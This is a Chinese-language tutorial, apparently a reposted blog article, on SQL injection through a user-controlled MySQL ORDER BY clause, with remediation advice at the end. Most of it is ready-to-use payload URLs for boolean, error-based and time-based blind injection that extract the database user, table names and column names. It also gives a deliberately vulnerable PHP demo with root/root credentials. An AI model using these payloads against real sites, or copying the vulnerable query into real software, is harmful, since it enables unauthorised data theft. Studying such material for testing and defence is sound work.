mysql的order by注入
最近在做一些漏洞盒子后台项目的总结,在盒子众多众测项目中,注入类的漏洞占比一直较大。其中Order By注入型的漏洞也占挺大一部分比例,这类漏洞也是白帽子乐意提交的类型(奖金高、被过滤概览小)。今天给大家分享下一些关于Order By的有趣的经验。
何为order by 注入
本文讨论的内容指可控制的位置在order by子句后,如下order参数可控:select * from goods order by $_GET['order']
注入简单判断
在早期注入大量存在的时候,利用order by
子句进行快速猜解表中的列数,再配合union select
语句进行回显。在测试时,测试者可以通过修改order
参数值,比如调整为较大的整型数,再依据回显情况来判断具体表中包含的列数。
在不知道列名的情况下可以通过列的的序号来指代相应的列。但是经过测试这里无法做运算,如order=3-1
和order=2
是不一样的。

http://192.168.239.2:81/?order=11 错误
http://192.168.239.2:81/?order=1 正常
进一步构造Payload
前面的判断并不是绝对的,我们需要构造出类似and 1=1
、and 1=2
的Payload以便于注入出数据。
/?order=IF(1=1,name,price) 通过name字段排序
/?order=IF(1=2,name,price) 通过price字段排序
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序
/?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 通过price字段排序
/?order=IFNULL(NULL,price) 通过price字段排序
/?order=IFNULL(NULL,name) 通过name字段排序
另外利用rand
函数也能达到类似的效果,可以观测到排序的结果不一样
/?order=rand(1=1)
/?order=rand(1=2)
利用报错
在有些情况下无法知道列名,而且也不太直观的去判断两次请求的差别,如下用IF语句为例。
返回多条记录
/?order=IF(1=1,1,(select+1+union+select+2)) 正确
/?order=IF(1=2,1,(select+1+union+select+2)) 错误
/?order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常
/?order=IF(1=2,1,(select+1+from+information_schema.tables)) 错误
利用regexp
/?order=(select+1+regexp+if(1=1,1,0x00)) 正常
/?order=(select+1+regexp+if(1=2,1,0x00)) 错误
利用updatexml
/?order=updatexml(1,if(1=1,1,user()),1) 正确
/?order=updatexml(1,if(1=2,1,user()),1) 错误
利用extractvalue
/?order=extractvalue(1,if(1=1,1,user())) 正确
/?order=extractvalue(1,if(1=2,1,user())) 错误
基于时间的盲注
注意如果直接if(1=2,1,SLEEP(2))
,sleep时间将会变成2当前表中记录的数目,还有比如执行BENCHMARK(1000000,100100)
;等函数,将会对服务器造成一定的拒绝服务攻击。
/?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
/?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒
数据猜解
以猜解user()
即root@localhost
为例子,由于只能一位一位猜解,可以利用SUBSTR
,SUBSTRING
,MID
,以及left
和right
可以精准分割出每一位子串。然后就是比较操作了可以利用=
,like
,regexp
等。这里要注意like
是不区分大小写。
通过下可以得知user()
第一位为r
,ascii
码的16进制为0x72
:
/?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正确
/?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) 错误
猜解当前数据库的表名:
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00)) 正确
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 错误
猜解指定表名中的列名:
/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常
/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 错误
sqlmap测试
在没有过滤的情况下是能够检测到注入的,如下图:
附录服务端代码
<?php
error_reporting(0);
session_start();
mysql_connect("127.0.0.1", "root", "root") or die("Database connection failed ");
mysql_select_db("sqlidemo") or die("Select database failed");
$order = $_GET['order'] ? $_GET['order'] : 'name';
$sql = "select id,name,price from goods order by $order";
$result = mysql_query($sql);
$reslist = array();
while($row = mysql_fetch_array($result, MYSQL_ASSOC))
{
array_push($reslist, $row);
}
echo json_encode($reslist);
create database sqlidemo;
use sqlidemo;
create table goods (id int(4) not null primary key auto_increment, name char(32) not null, price int(4) not null);
insert into goods (name, price) values("apple", 10);
insert into goods (name, price) values("banana", 15);
insert into goods (name, price) values("peach", 20);
修复建议
这个问题的是由于攻击者通过测试,了解到应用程序对数据对象进行了直接引用。该类问题可以归纳到OWASP-2013中A4(不安全的对象直接引用)。常见的修复方法如下:
- 通过正则表达式进行字符串过滤。只允许字段中出现字母、数字、下划线。
- 通过白名单思路,使用间接对象引用。前端传递引用数字或者字符串等,用于与后端做数组映射,这样可以隐藏数据库数据字典效果,避免直接引用带来的危害。
<?php
$orderby_whitelist = array(
"apple" => "apple ASC",
"applerev" => "apple DESC",
"daterev" => "banana DESC",
"DEFAULT" => "peach"
);
$order = isset($_GET["order"]) ? $_GET["order"] : "DEFAULT";
$order_expr = array_key_exists($order, $orderby_whitelist) ? $orderby_whitelist[$order] : $orderby_whitelist["DEFAULT"];
mysql_query("SELECT ... FROM ... ORDER BY $order_expr");
参考资料
http://xdxd.love/2016/03/07/order-by%E6%B3%A8%E5%85%A5%E7%82%B9%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F/
https://dev.mysql.com/doc/refman/5.7/en/control-flow-functions.html
https://dev.mysql.com/doc/refman/5.7/en/string-functions.html
mysql的order by注入的更多相关文章
- Mysql Order By注入总结
何为order by 注入 本文讨论的内容指可控制的位置在order by子句后,如下order参数可控"select * from goods order by $_GET['order' ...
- Mysql Order By 注入总结
前言 最近在做一些漏洞盒子后台项目的总结,在盒子多期众测项目中,发现注入类的漏洞占比较大.其中Order By注入型的漏洞也占挺大一部分比例,这类漏洞也是白帽子乐意提交的类型(奖金高.被过滤概率小). ...
- SQL注入之Sqli-labs系列第四十六关(ORDER BY注入)
0X1查看页面 0x2源码 <?php include("../sql-connections/sql-connect.php"); $id=$_GET['sort']; i ...
- order by注入点利用方式分析
漏洞分析 使用sqli-lab中的lesson-52作为测试目标.关键代码为: error_reporting(0); $id=$_GET['sort']; if(isset($id)) { //lo ...
- order by 注入姿势
order by 注入原理 其实orde by 注入也是sql注入的一种,原理都一样就是mysql语法的区别,order by是用来排序的语法. sql-lab讲解 判断方法 1.通过做运算来判断如: ...
- Mysql下可能存在注入的点。
总结下mysql下可能存在注入的点,适用于mssql和oracle,先写语句,以后再写语句可能出现在哪些场景下: 针对查询: select * from x where id=* select * f ...
- MySQL中order by中关于NULL值的排序问题
MySQL中order by 排序遇到NULL值的问题 MySQL数据库,在order by排序的时候,如果存在NULL值,那么NULL是最小的,ASC正序排序的话,NULL值是在最前面的. 如果我们 ...
- Mysql Order By 字符串排序,mysql 字符串order by
Mysql Order By 字符串排序,mysql 字符串order by ============================== ©Copyright 蕃薯耀 2017年9月30日 http ...
- mysql 中order by 与group by的顺序
mysql 中order by 与group by的顺序 是: select from where group by order by 注意:group by 比order by先执行,order b ...
随机推荐
- 阿里云OCR图片转换成文字识别调用
using Newtonsoft.Json; using System; using System.Collections.Generic; using System.Drawing; using S ...
- Centos7安装搜狗输入法.
系统默认安装输入法管理器的是 ibus. 而搜狗使用 fcitx 1.以我们先要安装 fcitx和必要的软件包 yum -y install fcitx* yum -y install libQtWe ...
- Spring缓存注解@Cacheable、@CacheEvict、@CachePut使用(转)
原文地址:https://www.cnblogs.com/fashflying/p/6908028.html 从3.1开始,Spring引入了对Cache的支持.其使用方法和原理都类似于Spring对 ...
- centos7重置root密码
修改centos7的root密码重置非常简单,只需要登录系统,执行passwd按enter即可, 但是如果忘记root密码,该如何修改呢 1, 重启系统之后,系统启动进入欢迎界面,加载内核步骤时,选中 ...
- (一)jdk8学习心得之遍历
一.遍历 -- 最好和stream流连用 使用jdk8提供的forEach进行遍历时,采用的是多线程的操作,理论上讲是会比原来的方法更快.但是注意,系统启动时需要加载lambda框架的内容.因此如果通 ...
- PHP 面试知识点整理归纳
基础篇了解大部分数组处理函数 array_chunk — 将一个数组分割成多个 array_column — 返回数组中指定的一列 array_combine — 创建一个数组,用一个数组 ...
- MySQL官网示例数据库emploees分析使用
1.下载与安装 下载地址:https://github.com/datacharmer/test_db 安装博客:https://blog.csdn.net/appleyuchi/article/de ...
- vue配置jquery和bootstarp
jquery: 1.npm install jquery --save-dev 引入jquery. 2.在webpack.base.conf.js中添加如下内容: var webpack = requ ...
- Spring MVC 使用介绍(十五)数据验证 (二)依赖注入与方法级别验证
一.概述 JSR-349 (Bean Validation 1.1)对数据验证进一步进行的规范,主要内容如下: 1.依赖注入验证 2.方法级别验证 二.依赖注入验证 spring提供BeanValid ...
- Plctext 如何发送默认的模式
当切屏指令都没有的情况下,就会发,即:当65这个地址位(0-7),都为零的情况下.